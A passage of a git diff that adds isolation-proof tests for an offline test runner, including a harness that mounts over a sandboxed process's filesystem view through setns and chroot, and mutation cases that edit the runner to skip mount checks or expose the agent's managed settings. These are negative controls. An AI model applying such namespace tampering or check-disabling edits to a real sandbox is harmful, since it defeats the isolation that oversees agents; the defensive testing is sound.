child=subprocess.Popen([str(ENTRY),'/usr/bin/python3','-I','-S','-c',code],stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE,text=True) + held=[] + try: + named(bool(select.select([child.stdout],[],[],60)[0]),'R3_READY_WATCHDOG') + ready=json.loads(child.stdout.readline());named(ready['kind']=='R3_READY','R3_READY_RECORD') + candidates=[];pending=[child.pid] + while pending: + pid=pending.pop() + try: + pending.extend(map(int,pathlib.Path('/proc/%d/task/%d/children'%(pid,pid)).read_text().split())) + status=dict(line.split(':',1) for line in pathlib.Path('/proc/%d/status'%pid).read_text().splitlines() if ':' in line) + if int(status['NSpid'].split()[-1])==ready['pid'] and os.readlink('/proc/%d/ns/pid'%pid)==ready['namespaces']['pid']:candidates.append(pid) + except (FileNotFoundError,ProcessLookupError):pass + named(len(candidates)==1,'R3_EXACT_OWNED_PAYLOAD') + target=candidates[0] + named(pathlib.Path('/proc/%d/stat'%target).read_text().rsplit(') ',1)[1].split()[19]==ready['start'],'R3_OWNED_START_IDENTITY') + mount_fd=os.open('/proc/%d/ns/mnt'%target,os.O_RDONLY|os.O_CLOEXEC);held.append(mount_fd) + root_fd=os.open('/proc/%d/root'%target,os.O_RDONLY|os.O_DIRECTORY|os.O_CLOEXEC);held.append(root_fd) + mutator=os.fork() + if mutator==0: + try: + named(LIBC.setns(mount_fd,0x20000)==0,'R3_FIXED_MUTATOR_SETNS') + os.fchdir(root_fd);os.chroot('.');os.chdir('/') + os.close(mount_fd);os.close(root_fd) + named(LIBC.mount(b'tmpfs',b'/tmp/odysseus-r3-target',b'tmpfs',0,b'mode=0700')==0,'R3_FIXED_IN_PLACE_MOUNT') + os._exit(0) + except BaseException:__import__('traceback').print_exc();os._exit(1) + _,status=os.waitpid(mutator,0);named(os.waitstatus_to_exitcode(status)==0,'R3_MUTATION_APPLIED_TO_OWNED_VIEW') + child.stdin.write('inspect\n');child.stdin.flush() + out,err=child.communicate(timeout=15) + named(child.returncode==0 and 'R3_CHANGED_MOUNT_REFUSED' in out and 'R3_ACCEPTED_IN_PLACE_MUTATION' not in out,'R3_IN_PLACE_CHANGE_INVALIDATES_ADMISSION: '+out+err) + print(json.dumps({'proof':'R3_IN_PLACE_CHANGE_INVALIDATES_ADMISSION','result':'pass'}),flush=True) + finally: + for fd in held:os.close(fd) + if child.poll() is None:child.kill();child.communicate() + + +def review_mutations(): + import sys + runner=ROOT/'scripts/offline-runner/runner.py' + catalog=ROOT/'scripts/offline-runner/catalog.py' + service=ROOT/'scripts/offline-runner/view_service.py' + original={p:p.read_bytes() for p in (runner,catalog,service)} + cases=[ + ('R5_UNOBSERVED_INCOMPATIBLE_FILE',catalog,"selected.append((relative, row['compatible']))","selected.append((relative, True))","rootless_selection_controls(only='substring')",'R5_REFUSAL_BEFORE_MODULE_SENTINEL_substring'), + ('R3_SKIP_MOUNT_FRESHNESS',service,"if key in admitted and admitted[key]!=digest:","if False:","changed_mount_control()",'R3_IN_PLACE_CHANGE_INVALIDATES_ADMISSION'), + ('F6_OMIT_SETTINGS_HIDING',runner," os.chmod(view / 'etc/claude-code', 0o555)"," shutil.copytree('/etc/claude-code',view / 'etc/claude-code',dirs_exist_ok=True)\n os.chmod(view / 'etc/claude-code', 0o555)","managed_settings_controls()",'MANAGED_SETTINGS_HELPER_NOT_INVOKED'), + ] + try: + for name,path,before,after,call,assertion in cases: + text=original[path].decode();named(before in text,'MUTATION_SOURCE_EXISTS_'+name) + path.write_text(text.replace(before,after,1)) + body="import importlib.util;spec=importlib.util.spec_from_file_location('p',"+repr(str(pathlib.Path(__file__)))+");p=importlib.util.module_from_spec(spec);spec.loader.exec_module(p);p."+call + result=subprocess.run(['/usr/bin/python3','-I','-S','-c',body],capture_output=True,text=True,timeout=180) + named(result.returncode!=0 and assertion in result.stdout+result.stderr,'MUTATION_MUST_FAIL_NAMED_ASSERTION_'+name+': '+(result.stdout+result.stderr)[-1500:]) + print(json.dumps({'mutation':name,'result':'named assertion failed','assertion':assertion,'exitCode':result.returncode}),flush=True) + path.write_bytes(original[path]) + finally: + for path,data in original.items():path.write_bytes(data) + + +if __name__=='__main__': + named(os.geteuid()==0,'PROOF_OUTER_FIXTURE_REQUIRES_ROOT') + environment=ROOT/'.env' + named(not environment.exists(),'BOAT_CHECKOUT_HAS_NO_CREDENTIAL_ENV_FILE') + environment.write_text('ODYSSEUS_CHECKOUT_SENTINEL=checkout-owned\n') + try: + if __import__('sys').argv[1:]==['--mutations']: + review_mutations();raise SystemExit(0) + loader_and_denied_startup() + descriptor_controls() + run_case(False) + run_case(True) + managed_settings_controls() + immutable_mount_control() + changed_mount_control() + rootless_selection_controls() + forged_evidence_control() + finally: + environment.unlink() diff --git a/scripts/offline-runner/qualification.ts b/scripts/offline-runner/qualification.ts new file mode 100644 index 0000000000..1b24fe7683 --- /dev/null +++ b/scripts/offline-runner/qualification.ts @@ -0,0 +1,50 @@ +/** Constant-size runner-view checks; no product stages or fixture bytes. */ +import {createHash} from "node:crypto"; +import {readFileSync,lstatSync,statSync} from "node:fs"; +export const OFFLINE_SETUP_REFUSAL="offline native isolation unavailable: setup failed"; +const recordPath="/run/brain-test/record.json"; +type RecordView={root:string;version:1;profile:"root"|"rootless";namespaces:Record;mountHash:string;ownerPid:number;ownerStart:string;identity:{uid:number;gid:number;groups:number[]}}; +export function requireOfflineRunner():RecordView { + try{ + const info=lstatSync(recordPath);if(!info.isFile()||(info.mode&0o777)!==0o444||info.nlink!==1)throw Error("record"); + let record=JSON.parse(readFileSync(recordPath,"utf8")) as RecordView; + if(record.version!==1||!["root","rootless"].includes(record.profile)||!Number.isSafeInteger(record.ownerPid)||!/^\d+$/.test(record.ownerStart)||!/^[a-f0-9]{64}$/.test(record.mountHash))throw Error("schema"); + const owner=readFileSync(`/proc/${record.ownerPid}/stat`,"utf8").replace(/^.*\) /s,"").split(" ")[19]; + const issuer=readFileSync(`/proc/${record.ownerPid}/cmdline`,"utf8").split("\0"); + if(owner!==record.ownerStart||issuer[1]!=="-I"||issuer[2]!=="-S"||![`${record.root}/scripts/offline-runner/runner.py`,"/usr/local/libexec/brain-test/runner.py"].includes(issuer[3]!))throw Error("issuer"); + const current=()=>["net","mnt","ipc","pid","user"].every(key=>String(statSync(`/proc/self/ns/${key}`).ino)===record.namespaces[key]?.match(/\[(\d+)\]/)?.[1]); + const fingerprint=()=>createHash("sha256").update(readFileSync("/proc/self/mountinfo")).digest("hex"); + const identity=()=>process.getuid!()===record.identity.uid&&process.getgid!()===record.identity.gid&&JSON.stringify(process.getgroups!())===JSON.stringify(record.identity.groups); + if(!current()||fingerprint()!==record.mountHash||!identity()){ + const response=selectionSpawnSync(["/usr/bin/python3","-I","-S","/run/brain-test/view_client.py"],{stdin:"ignore",stdout:"pipe",stderr:"pipe",env:{PATH:"/usr/bin:/bin"}}); + if(response.exitCode!==0)throw Error("namespace qualification refused"); + const qualified=JSON.parse(response.stdout.toString()) as RecordView; + if(qualified.version!==record.version||qualified.profile!==record.profile||qualified.ownerPid!==record.ownerPid||qualified.ownerStart!==record.ownerStart)throw Error("namespace issuer changed"); + record=qualified; + if(!current()||fingerprint()!==record.mountHash||!identity())throw Error("qualified view changed"); + } + const status=readFileSync("/proc/self/status","utf8"); + for(const key of ["CapEff","CapPrm","CapInh","CapAmb"])if(!new RegExp(`^${key}:\\s+0+$`,"m").test(status))throw Error("capabilities"); + if(process.getuid!()!==record.identity.uid||process.getgid!()!==record.identity.gid||JSON.stringify(process.getgroups!())!==JSON.stringify(record.identity.groups))throw Error("identity"); + return record; + }catch(error){throw Error(OFFLINE_SETUP_REFUSAL,{cause:error});} +} + +/** Nested test discovery must not bypass the rootless file inventory. */ +export function rootlessTestCommand(command:readonly string[],cwd=process.cwd()):string[] { + const record=requireOfflineRunner();if(record.profile!=="rootless")return [...command]; + const spawn=selectionSpawnSync; + const result=spawn(["/usr/bin/python3","-I","-S",new URL("./catalog.py",import.meta.url).pathname,"--select"],{stdin:Buffer.from(JSON.stringify({root:new URL("../../",import.meta.url).pathname.replace(/\/$/,""),cwd,command})),stdout:"pipe",stderr:"pipe"}); + if(result.exitCode!==0)throw Error("offline native isolation unavailable: incompatible rootless selection"); + const value=JSON.parse(result.stdout.toString()) as {command:string[];refused:string[]}; + if(!Array.isArray(value.command)||!Array.isArray(value.refused)||value.refused.length)throw Error("offline native isolation unavailable: incompatible rootless selection"); + return value.command; +} +const selectionSpawnSync=Bun.spawnSync; + +/** A direct absolute Bun test cannot bypass nested selection enforcement. */ +export function assertRootlessDiscovery():void { + const record=requireOfflineRunner();if(record.profile!=="rootless")return; + const argv=readFileSync("/proc/self/cmdline","utf8").split("\0").filter(Boolean); + rootlessTestCommand(argv); +} diff --git a/scripts/offline-runner/rootless-files.json b/scripts/offline-runner/rootless-files.json new file mode 100644 index 0000000000..ef7848b17c --- /dev/null +++ b/scripts/offline-runner/rootless-files.json @@ -0,0 +1,1726 @@ +{ + "version":1, + "files":{ + "experiments/1593-routing-only-capture.test.ts":{"sha256":"934af803e0e4bee18249a394910a5075267bb8d34806f8f472de0a37ed53d448","compatible":true}, + "experiments/3434-extraction-classifier.test.ts":{"sha256":"f05f67c6ebc34e30c3d2fd51e49caafb826361e4faa6acc6aba2baf70df71a22","compatible":true}, + "experiments/3445-propagation-triage.test.ts":{"sha256":"98bc2b026c6ecb9d541e03f69e12d30e437470ef1345a84ee0c6ffe00de8c5e5","compatible":true}, + "experiments/4090-extraction-band.test.ts":{"sha256":"c764897d8bb1320b72dc29dad772ae9d1b7dbeeaa868e69ce807acd3ea0e4d29","compatible":true}, + "experiments/839-smart-capture.test.ts":{"sha256":"d8e6424b483cb5705fc68c6af32183093c8d3bbfa4fe0c1bc924faf76959f34e","compatible":true}, + "experiments/843-canonical-conflicts-score.test.ts":{"sha256":"5392c3e446abe36c015db9bcfc10b69d3766c0ed1470baa7cf7250ef7cdce185","compatible":true}, + "experiments/844-tag-aliases.test.ts":{"sha256":"5d199f7840dedd85ea0f02f40eb1997bfac61a8e24f61431dda5eb3149b78e35","compatible":true}, + "experiments/845-opportunity-lifecycle-score.test.ts":{"sha256":"32f7e9dcb45133eb0fec92427a9d51e8a21b4e3b33ebd990c8fc7dc8a6e1058e","compatible":true}, + "experiments/849-candidate-scoring.test.ts":{"sha256":"70f79332d3233a0894375e5718d8e1dee5aa99313dcd412bc48cd8f79e23763e","compatible":true}, + "experiments/850-import-enrichment-score.test.ts":{"sha256":"1a17e47d2a0cb78ec7e201f7b28cb70c7c522254daaa41b1cf437d766c175f48","compatible":true}, + "experiments/attribute-show-block-schema.test.ts":{"sha256":"491b4d95d1fd8bc9428904d3a60604c43561b376d4ab750fd45e967b40ca91f5","compatible":true}, + "experiments/bounded-read-contract.test.ts":{"sha256":"d9cd0bd0705a4df0f9bf4a169319efa6466efd3a58a3ac67bba951ef51b69bd4","compatible":true}, + "experiments/core/sync-judge-datasets.test.ts":{"sha256":"54d588d1f8b6c6d4c00bac848accf2fba542dc2dff393ecf89aae0433d1aa199","compatible":true}, + "experiments/core/sync-judge-measure.test.ts":{"sha256":"396e81cce51a6dfd1efa75bb67aac77b59568616fcc91db31d19ab70b00a8863","compatible":true}, + "experiments/decision-citations.test.ts":{"sha256":"ceffc0ab0fe3ba90b3f81a16264649af32cb5fe72be488fb08cf035ab5c70f01","compatible":true}, + "experiments/git-read-qualification.test.ts":{"sha256":"943880817cb7505086263af45a6b480177c075ed5940086b974e793f711dac84","compatible":true}, + "experiments/job-fit-lean.test.ts":{"sha256":"1d79947099e9e411f1141d3408df93bb444b8502a0bd373bf0c3462d00d8a48c","compatible":true}, + "experiments/lean-mechanical-hygiene-scoring.test.ts":{"sha256":"bb2ec21c9661902d01cf6bb66bd606a48d82f30e851c79e74fd3f19358ac602e","compatible":true}, + "experiments/lean-speaking-score.test.ts":{"sha256":"6855479efc6a4b48d91cf524f54956f8ec4a748ee83614dcdd92286677260806","compatible":true}, + "experiments/measure-graph-boost.test.ts":{"sha256":"07e23b16b08c6b223a0423a019ec71878924c54a56e054b8776912a6133d5ac4","compatible":true}, + "experiments/measure-kv-runs.test.ts":{"sha256":"975c696c49f166557ceb644885ddcc84b89275a1b21cb45e0513d5a4bb443b90","compatible":true}, + "experiments/measure-show-block-gate.test.ts":{"sha256":"1a147fdf9c65febbed0e34ca3adcad024ab8355f7e8d86b4ba6c52756ed190de","compatible":true}, + "experiments/measure-sonnet55-cost.test.ts":{"sha256":"a7479450f516114ed5cc147e45113c63407191fbbd78ce577b8077ac4b90d9a9","compatible":true}, + "experiments/measure-suggestions.test.ts":{"sha256":"4912a0f581177e316448cbab92ca87264595c4a96308d9812b642e94038b3914","compatible":true}, + "experiments/measurement-results.test.ts":{"sha256":"ef4710d5795a6259c001000c00ad8995c0bb873f5938034bce3639c2ddea8a38","compatible":true}, + "experiments/multi-query-search.test.ts":{"sha256":"39968398d226daa698ac4874c308e136d406b1c1b997ccdc74725f84b0b55f93","compatible":true}, + "experiments/multi-root-graph.test.ts":{"sha256":"48faa5bf9bfa3ced238638a9c6f60a4493bb4e47d0526d03c61b3fe42591a67e","compatible":true}, + "experiments/pi-schema-measurement.test.ts":{"sha256":"7f498e5cd1beef8a0dc2d71eef817ba5081b3771f1c9b1c1643d9871cebdfa0e","compatible":true}, + "experiments/show-block-live-credential.test.ts":{"sha256":"5e4d893f908c856077c4c4ecfd8a1db66678ea629d37b6dea2d3c374420cd42b","compatible":true}, + "experiments/turn-surface-admission.test.ts":{"sha256":"c876a51dcfc74b0a38a2aea72ea941a2dee4d8a44071053a5a86c3ad97ac1e3f","compatible":true}, + "experiments/turn-surface-capture.test.ts":{"sha256":"ac5ebc4b81031f930e2e2324cce698109a6d29af8368456aa9d7d317b8186eb2","compatible":true}, + "experiments/turn-surface-classifier.test.ts":{"sha256":"729005493e6b2c8f22b150d535dc4218a8819006d99b9274b69f781c36afccc2","compatible":true}, + "experiments/turn-surface-fixture-live.test.ts":{"sha256":"a3959019b8b96fd8f635fbe2fc7a8786b51cb8147b4f72a7d525c9a765192a8a","compatible":true}, + "experiments/turn-surface-isolation.test.ts":{"sha256":"8b3e0f00ef98cc7c869f407a16a2139f9a7e4e666439d864b0d7837b3614ddaa","compatible":true}, + "experiments/turn-surface-observation.test.ts":{"sha256":"a4ee3fda05c7aed22ba5955857f2655706253759a8ad779f41e81d575bf0a61c","compatible":true}, + "experiments/turn-surface-overlap.test.ts":{"sha256":"3bbd7342f9c291182b8fc282725b7ad207a8d7eba2f076806f6d248f35b1228d","compatible":true}, + "experiments/turn-surface-routing.test.ts":{"sha256":"57fa02f87cfccc701802d5c14b2924e56aea29ed472fbda328b29b4b8caa4939","compatible":true}, + "experiments/turn-surface-runtime-placement.test.ts":{"sha256":"9287121877fa69f14ccd4069bdd4ecf4257a323f74f3bc10837aab196994d024","compatible":true}, + "experiments/turn-surface-stdout.test.ts":{"sha256":"1a76ac714158203603b5e40b26684e5efac395b050d5b3ded5513683ac2bb3ea","compatible":true}, + "experiments/ui-server/triage-eval-exit-code.test.ts":{"sha256":"21e5e8ef1e523d632792fea6f940f49ef74a9f47a6f503b187564d79a7feaaeb","compatible":true}, + "packages/common/tests/apify-credentials.test.ts":{"sha256":"1ce8860a7f4efa42582d1125aa585c34b861a4c92bfa0637dd3fdcb5ea1e8de8","compatible":true}, + "packages/common/tests/claude-subscription.test.ts":{"sha256":"ca51de6bd12750ff623eb28b5d43f81b7485b029d08e46b5c5c1f59b24e5f46d","compatible":true}, + "packages/common/tests/frontmatter-block.test.ts":{"sha256":"b744aaaf3401349ee43b70e72b9314f8d5f5dc4cf776ee3c2d67a871618cb04e","compatible":true}, + "packages/common/tests/frontmatter-parse.test.ts":{"sha256":"71175276b42a1a72e517b2cf903e964b3c9384f00dca36836c6ff0c429168e39","compatible":true}, + "packages/common/tests/governance-policy-read.test.ts":{"sha256":"57c4b6051fa9e0676bf32fdcd2c25255e6e81c915e07bd976b9954ba79a1272b","compatible":true}, + "packages/common/tests/inline-containment-shapes.test.ts":{"sha256":"c291d4bfd278ea02daf6c9ca340f66d1f8203c92c74aed8904c5ff47d6836e83","compatible":true}, + "packages/common/tests/provider-relay.test.ts":{"sha256":"01c0eca50e7fda1765f3b5d35b8b5c22bca034463e43b6d98189ea891bc36953","compatible":true}, + "packages/common/tests/provider-unavailable.test.ts":{"sha256":"7d8d95a199de37728f0b65962ef0c34f0e48e98fc9b80167256837dab55fd28b","compatible":true}, + "packages/common/tests/safe-path.test.ts":{"sha256":"11a6e56b139bd9ee1e6116fe5bae4441c5559882bebbdd1a36df16ecfe3ff28d","compatible":true}, + "packages/common/tests/taint-trust.test.ts":{"sha256":"bf42860a39a54a4fc4f2ed433b54ce919007a5768529b6a68a94123e60ad1265","compatible":true}, + "packages/compute-boat/tests/ambiguous-create.test.ts":{"sha256":"38b19a2fc1b52cef989d219fdfe2fda6022512fedbdbd12c52326a26bffc281b","compatible":true}, + "packages/compute-boat/tests/cleanup.test.ts":{"sha256":"e949e4bc48bb7787b6a4905a94d46abe0ffe77dd46d831f4303fc373349a135c","compatible":true}, + "packages/compute-boat/tests/client.test.ts":{"sha256":"f44fb9da89d2b75c8e2f38ce6f83a38077509e780b434b0d06ec91e7c77c9ea8","compatible":true}, + "packages/compute-boat/tests/contract.test.ts":{"sha256":"8ba12e18f087d950eea5cf1cfd816a940db55d82b5409b170d20f712b7516f28","compatible":true}, + "packages/compute-boat/tests/cost.test.ts":{"sha256":"49dbbdf35244af5d67cfb15b279a4321afdf423533589beb23a836f5cad29e8a","compatible":true}, + "packages/compute-boat/tests/credential-free.test.ts":{"sha256":"75197f42dd3490dff67f660036f9bec3d1491ad10e8587c7dde296c1ef45d1a6","compatible":true}, + "packages/compute-boat/tests/errors.test.ts":{"sha256":"7fd6a945af3ab06caceb5e5d8aee90c072460d35239f552c3eec2df04fe1a1dd","compatible":true}, + "packages/compute-boat/tests/install-select.test.ts":{"sha256":"09c4985e79b4c94d0a62ce4e9e186bdd3055fea94def1c1c55c6c6fc225fbbe8","compatible":true}, + "packages/compute-boat/tests/readiness.test.ts":{"sha256":"dcd89752f637433bfcd7385ff7ba3b62a452d898a5f7a69572abf732a4782c64","compatible":true}, + "packages/compute-boat/tests/redact.test.ts":{"sha256":"f39fcd7687aa5f24c87803478adb595a5c6af3ba367916ca31d7c0debba674c9","compatible":true}, + "packages/compute-boat/tests/secrets.test.ts":{"sha256":"e78b4fd9b9af5cd5010fbbbf692ee195832f4088ed0bdf1062d8fdd826be3974","compatible":true}, + "packages/compute-boat/tests/settlement.test.ts":{"sha256":"ccbecdb275a46690bfe650f3b0aa30557d9eb7a83d875076ca044b270a5ebc8b","compatible":true}, + "packages/compute-boat/tests/stop-not-pause.test.ts":{"sha256":"0378a6d0b8e67019c8fd24fe833e98e8295b1a758cba8734cc58ff8bcf161126","compatible":true}, + "packages/core/tests/agent-runner-contracts.test.ts":{"sha256":"b3c5a05f0f4f54c82991fc08ff90723b6324edb677fc1680e07326e72e7c8fe5","compatible":true}, + "packages/core/tests/alias-column.test.ts":{"sha256":"e311f33eafd11939bf87920a33b1887a05a371d5742c6913fa21bcf54b4d20ed","compatible":true}, + "packages/core/tests/apify-site-permission.test.ts":{"sha256":"11d69d3c75ec36c045c2a7698adc6186da9c64bda2fe9443f90a4a0e2e5577cf","compatible":true}, + "packages/core/tests/archive-reliability.test.ts":{"sha256":"0bb826f81c84506ac1dbcef539cd9d32db42ff8f581e8aa05da4937eca8393d5","compatible":true}, + "packages/core/tests/asset-scan-exclude.test.ts":{"sha256":"2eb6bf3ff40b60fa1f27762df3640488c050f2bc8bc2187eb30ad090612ea1b8","compatible":true}, + "packages/core/tests/audit-grouped-findings.test.ts":{"sha256":"dc192bb526e5f855bf8933afc57ddbba0628f862c61ac02a81fb23252542e700","compatible":true}, + "packages/core/tests/auditor-canonical-policy.test.ts":{"sha256":"c00ac1335e699f6b5db4018198508474509ff8daef376eac65413ff15b999db4","compatible":true}, + "packages/core/tests/auditor.test.ts":{"sha256":"4ade87b574b6f2b499b7617a5621679a56be302be347bd8ec658c01241d9f1ab","compatible":true}, + "packages/core/tests/briefing-audit-count.test.ts":{"sha256":"af5e47dc89cea12470c1f3609a4029e73d9ec49df5dcae219d9933e1de90bb49","compatible":true}, + "packages/core/tests/briefing-focus-warnings.test.ts":{"sha256":"45db8400c22c5675e61eed715e47fd7320141e7fab42f13a734a8de7cfd56f7c","compatible":true}, + "packages/core/tests/briefing-stale.test.ts":{"sha256":"ccc3b87498e2ac40fce8330f82cc309cfd2be2fc52fc0087c11a58a69c51d8ab","compatible":true}, + "packages/core/tests/briefing.test.ts":{"sha256":"368c842579575152186814ea65a20c175b5bfc268b0a22d014f22528df3fea0f","compatible":true}, + "packages/core/tests/cache-location.test.ts":{"sha256":"2454a45666a7f8ce6fc08851a1338997e901bd1e2bb2727e4f26e985686ed929","compatible":true}, + "packages/core/tests/cache-merge.test.ts":{"sha256":"5bb457e906b6d67a0603b02517a1e657ba85047f695d67dd7b3308a174dda93a","compatible":true}, + "packages/core/tests/check-module-casts.test.ts":{"sha256":"5e088abae7edca2af1a1076ed343e55d86f28585e141fd222b42146c17e55594","compatible":true}, + "packages/core/tests/chunk-fts.test.ts":{"sha256":"ac97acc7781bb022d36e7cce928b5c95c70ea7a26acae3b422b810b30088f313","compatible":true}, + "packages/core/tests/chunker-version-readonly.test.ts":{"sha256":"3c5f47c8fa7d9ad3863f732746b62bd37cae7b0b98359408ec8f0aa9234cf0f7","compatible":true}, + "packages/core/tests/chunker.test.ts":{"sha256":"68b3f8c4c44dc855b98ffc580628ae815c44e5b198d40f18d7d69e1e00d54ed4","compatible":true}, + "packages/core/tests/claude-runner-binary.test.ts":{"sha256":"8e86749f15a39d234704b9d24e62abc83e2ac93f52a9450d41e7893b829b5252","compatible":true}, + "packages/core/tests/claude-runner-default-native.test.ts":{"sha256":"3ecee52b45499f4d39ee5bd1052e4d86af4e0da646dfb53020e44f7ca08bb392","compatible":true}, + "packages/core/tests/claude-runner-protocol.test.ts":{"sha256":"0bedba9b8b2bbcadbfc67b041b645ccb5c65bc932d7f0beece889e3f4c4670cd","compatible":true}, + "packages/core/tests/claude-runner-rejected-token.test.ts":{"sha256":"f8f2a6b0daab3007e461fc4c35afdcc587d91e155d845d72b944a5ae3a26f5e1","compatible":true}, + "packages/core/tests/claude-runner-subscription.test.ts":{"sha256":"dcba15b7c0ade6b6e122d0cf1047ed73abc0a02cccdb2887fcd68901ca5db324","compatible":true}, + "packages/core/tests/cli-args.test.ts":{"sha256":"fc0f48fb309741f1f710c37968124919848be6cdf867b40a9265b87b3c7c25b3","compatible":true}, + "packages/core/tests/cli-contract.test.ts":{"sha256":"50386c5511c16bf2e27921108b2d7609a4f24dec78bde767693a06df6ecb0d61","compatible":true}, + "packages/core/tests/cli-gemini-content-exclude.test.ts":{"sha256":"b5225fc02b14b2936614794ef17d60d6ce0b382dcb3b0e3ed80f90a556420ea0","compatible":true}, + "packages/core/tests/cli-harness-bin-home.test.ts":{"sha256":"441d450a1906634b81e543c176ebafae39e6a22190b5339248cd51ebdeca2690","compatible":true}, + "packages/core/tests/cli-harness-calendar.test.ts":{"sha256":"47548b845220e236149d066157edc59d47a68f5dc3053a2e9b8eb100b552760f","compatible":true}, + "packages/core/tests/cli-harness-host-isolation.test.ts":{"sha256":"406c0f4920f499ac6185089bc7e4b6a64d1fdf81570af11683c667eaabd810af","compatible":true}, + "packages/core/tests/cli-no-sql.test.ts":{"sha256":"e00e1b24383c559b7e66ba78afab4f16b2537d9662443724d045b8987f528478","compatible":true}, + "packages/core/tests/cli-onboarding.test.ts":{"sha256":"6109340b4378b2b3e6ebf65dfe26724ad22a67b6ec1b268f614c9e82c579e00c","compatible":true}, + "packages/core/tests/cli-output-completion.test.ts":{"sha256":"020eed0ae7b435fca7803b46a80e94f9100ea686bfcb8b1f377fa312ce96de6a","compatible":true}, + "packages/core/tests/cli-path-arguments.test.ts":{"sha256":"c0991e5de1ab295d259132acd73b3b8091cae9a5256072f9b80c1295b0dec434","compatible":true}, + "packages/core/tests/cli-read-many.test.ts":{"sha256":"aaace83bdb16b5abacdf9f2b90c22c4ed8b540b8edd4bf140bcbc045e7cd4564","compatible":true}, + "packages/core/tests/cli-read-only.test.ts":{"sha256":"100505cf8b97a734a77387820be5fffb4092849973c8406f727240ba41d5bb33","compatible":true}, + "packages/core/tests/cli-stats-exclude.test.ts":{"sha256":"eb0f7321bc8a85be81c162e281f8ba4b861db47f83fa71d34f89f906ddcd8642","compatible":true}, + "packages/core/tests/cli-vector-stats.test.ts":{"sha256":"742bb08db8e4970986f6fd2147a94321964cf417611d786367aa3371c0e6634c","compatible":true}, + "packages/core/tests/cli-withheld-providers.test.ts":{"sha256":"cd6ae7c5114402b697597e1263778ca1fa743692c242d36b570a953432e1f740","compatible":true}, + "packages/core/tests/compute-cli.test.ts":{"sha256":"b8146258a15a9f3753fe19a05ffa6a8d79abc0f7edd80e66c14fb90fedc83241","compatible":true}, + "packages/core/tests/compute-config.test.ts":{"sha256":"5335033f5ffe468d25e9f885840ee51737a38d465e050b53ad68a455ca9eb8af","compatible":true}, + "packages/core/tests/compute-contracts-nonconforming.test.ts":{"sha256":"73ddf1a96b4b7a90afd778cf7825dc3eb700f10b9c6aae8652a56445ea5b9f31","compatible":true}, + "packages/core/tests/compute-contracts.test.ts":{"sha256":"6109eb16a263436febd6c0683ff9f901e9789220344d7359e2ad261b52b6fd43","compatible":true}, + "packages/core/tests/compute-hosted.test.ts":{"sha256":"3b609d34121cff31db404bb3da9bcf81e98ce73ff52b6c6e27f3e9bffe2b8590","compatible":true}, + "packages/core/tests/compute-identity.test.ts":{"sha256":"ccdd06c52347afd5fbf3aa5328be74c00293d0e95747e951df46731a8671b08b","compatible":true}, + "packages/core/tests/compute-lifecycle.test.ts":{"sha256":"7202497c9c1ca3464ea621163179d2c063c1a456f7df69d967b7cbb9038e74a1","compatible":true}, + "packages/core/tests/compute-mcp.test.ts":{"sha256":"7b0ca0a5670314786909b26e32967a270cca2c883259883486c907c415654803","compatible":true}, + "packages/core/tests/compute-ops.test.ts":{"sha256":"69442d50e2929d677b335db67c56af0182fa827ba8f3203bd47e39ea69933662","compatible":true}, + "packages/core/tests/compute-race.test.ts":{"sha256":"48bad892e75ed5ec88bd72c264c70614ec3cf8c3741cda0afa59622985954d32","compatible":true}, + "packages/core/tests/compute-recovery.test.ts":{"sha256":"6a90212b7fe943aec8a03da4f1ee3594de03c5dad25a4b147e59e45fed967f71","compatible":true}, + "packages/core/tests/compute-refusals.test.ts":{"sha256":"a199e8d4ad6b43db7dad709e8ca864ba4bbd8c2c998433b74b1c600dd5472165","compatible":true}, + "packages/core/tests/compute-state.test.ts":{"sha256":"44514cd8553636b9c30615c9fe3ba91efd9f468feec962a11643cc823bf76b81","compatible":true}, + "packages/core/tests/containment-rows.test.ts":{"sha256":"b452875f7ea191408ea4f435580d1547156f78ad4a3acd494e69d799864ff8f6","compatible":true}, + "packages/core/tests/context-assembler.test.ts":{"sha256":"83ef40c2b249997896f0f16a7920d037704db6d41e725c766ac4ba70501cf8ca","compatible":true}, + "packages/core/tests/context-scope-surfaces.test.ts":{"sha256":"df4ddfde01a4ad9236576ea1668b74beb0e20add624852a6cf033b6f5f009dab","compatible":true}, + "packages/core/tests/context-scope.test.ts":{"sha256":"a23fd06810a9d3d6dc80125a07bdca6bc59f606660220fb4176acf13c6a17990","compatible":true}, + "packages/core/tests/contract-clock.test.ts":{"sha256":"408f440571063ec113ead9c63e22dde18da188be073e972269d05b8d8581441d","compatible":true}, + "packages/core/tests/data-only-frontmatter.test.ts":{"sha256":"de7464341526121a89ae3a07372b955a32e598c4880d0775ba1301f4da99ed05","compatible":true}, + "packages/core/tests/discovery-walk.test.ts":{"sha256":"0bac30ab603ba63f35dc5527982db1c1f493bc30a659f30df9043393fb661a7d","compatible":true}, + "packages/core/tests/doctor-git-hooks-packaged.test.ts":{"sha256":"56a81e96e5a52fa482484d1e7d2b5e5222368f77c00ad081a8ac5a9bbf9ee81a","compatible":true}, + "packages/core/tests/doctor-guarded.test.ts":{"sha256":"6fad07f54698c7ada0957ae73c61ceaec16f4c19ed76f195b97c9f2acac300f3","compatible":true}, + "packages/core/tests/doctor-instructions-weight.test.ts":{"sha256":"c0e2303bb49635a55c1a1d35b8cde50afc231d49ad6bd49ff1d1d34c48c9d5ce","compatible":true}, + "packages/core/tests/doctor-shadowed-commands.test.ts":{"sha256":"026deac12c91b21b563249e05430c0f1a5083d626a5f78bb29552e7d2a70cd7e","compatible":true}, + "packages/core/tests/doctor-tracked-leftovers.test.ts":{"sha256":"7942ca1002b3b8ecc717e0e983639918a05d0e184b5a824dc0139c4bdb588829","compatible":true}, + "packages/core/tests/doctor-tracked-media.test.ts":{"sha256":"1eae614e6c6289673cf70e953bb93026327512f60723db6933ad248ded4f6030","compatible":true}, + "packages/core/tests/doctor.test.ts":{"sha256":"ace5e4f37bf5f03f4d02bb0dae873beafc5c398df66a86b947c76077d9eecaae","compatible":true}, + "packages/core/tests/document-page.test.ts":{"sha256":"27b80146ffcd8667ee3a75b0dd9e7f1cbc06e020770e38aaeebe2caa7c9e913b","compatible":true}, + "packages/core/tests/document-parts.test.ts":{"sha256":"bcaa62afda58fd3b13bbad67c5ea121d3bae2888593b2666948c612ba723e719","compatible":true}, + "packages/core/tests/document-writes.test.ts":{"sha256":"05488fa7f180d5627ebd6c5c551d878fe1cbc599c7bdc0431d3aa5b943b8e760","compatible":true}, + "packages/core/tests/embed-on-commit.test.ts":{"sha256":"80c2c5ef0d4e74effbcfe8dc495532a92e78d016440803e3cd5ba10e27535444","compatible":true}, + 